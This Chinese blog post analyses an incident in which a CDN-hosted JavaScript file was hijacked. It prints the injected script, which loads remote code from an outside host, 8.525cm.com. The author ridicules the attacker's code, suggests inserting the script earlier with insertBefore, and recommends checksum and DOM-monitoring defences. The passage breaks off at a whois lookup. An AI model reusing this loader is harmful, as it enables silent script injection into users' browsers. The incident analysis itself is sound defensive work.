天创培训:您身边的信息安全培训专家!
技术中心
记一次CDN中JS资源被劫持的事故分析(附代码解析)

事情源自今天公司发生了一件事情,因为工作关系所以背景内容就不细讲,不过这里有人几天前遇到了同样的问题:偷天换日:网络劫持,网页js被伪装替换。以此为例,来吐槽吐槽这个hijacking的“黑客”水平有多烂。

事故分析

我把劫持被替换掉的脚本贴出来,上文中对方遇到的问题是common.js,与我们的情况类似。


try {

if (!document.getElementById("mck0")) {

var s0 = "http://xxx.xd618.com/resources/js/common.js?" + new Date().getTime(),

s1 = "http://8.525cm.com/v2/v.php?id=01";

var ar = new Array(2);

ar[0] = s0;

ar[1] = s1;

var h = document.getElementsByTagName('head').item(0);

for (var i = 0; i < 2; ++i) {

var sc = document.createElement("script");

sc.type = "text/javascript";

sc.id = "mck" + i;

sc.src = ar[i];

h.appendChild(sc);

}

}

} catch(e) {}

view rawhijacking_script.js hosted with ❤ by GitHub

从这段脚本我们大致可以看出,显示判断是否有id为mck0的标签(我试着googlemck0的意思,无果),如果没有则会向DOM中添加两个script标签。说实话这js写得真是烂,既然用了Array,for循环的时候还把循环次数写死了。而且,js是创建数组居然还是用new Array(),亲,ES2016都快要火起来了。这里安利一下Airbnb的 JavaScript Style Guide,至于为什么推崇使用[],参考Why is arr = [] faster than arr = new Array?

扯远了,回到这段脚本,数组中存了两个地址,一个是common.js的地址,一个是指向8.525cm.com的一个地址。

先说第一个,脚本作者可谓良苦用心,为了隐藏自己,虽然替换了common.js,但还是希望网页是可以顺利访问的,所以重新添加了一个能够正常访问的common.js的资源,后面加了日期的后缀用来区分。这作者实在是自作聪明啊。

对于一个稍微有点规模的前端项目而言,核心的几个lib都是会被其他的lib依赖的,你倒好,篡改了common.js,然后在HEAD标签里面append新的<script>标签,亲,你这是插到最后去了你知道吗?你让别的库怎么依赖你这个插进去的common.js?你找一下head里面第一个scirpt出现的位置,用insertBefore这个函数就可插到最前面了。

话说回来,也不能怪这个“黑客”水平太烂,主要是国内很多前端开发的水平也不够,现在有很多支持js动态加载的工具,如鼎鼎有名的RequireJS,国内做前端开发的,好多外包公司能简单就简单,能糊弄就糊弄。当然了,前端工程师如果觉得这个太难上手,用个主流的打包工具打个包总归很简单的吧,Webpack随便玩。要是觉得这个还太难,用Gulp把js合并混淆一下,要是负点责任加个hash的版本号,这些总归很简单了吧。

补充说明,其实这里用打包工具跟依赖工具,其实都只是增加了“黑客”修改脚本的难度,理论上他们还是可以实现文件替换的,比较保险的做法是在后端做CheckSum,不管是CDN上的资源,还是自己服务器的资源,提供一个API使得前端在加载了资源后,与后端记录的CheckSum值进行对比,验证文件的一致性。另外,还可以对dom的append操作做一些检测,比如监听并阻止外部append行为等等。

接下来再说说黑客添加的那个ip地址,http://8.525cm.com/v2/v.php?id=01,第一个反应是去看看是啥,不出所料,暂时啥都没有。可以理解,现在如果就暴露了狼子野心岂不是太没劲?第二个反应就是去查一下whois,搜出来结果如下: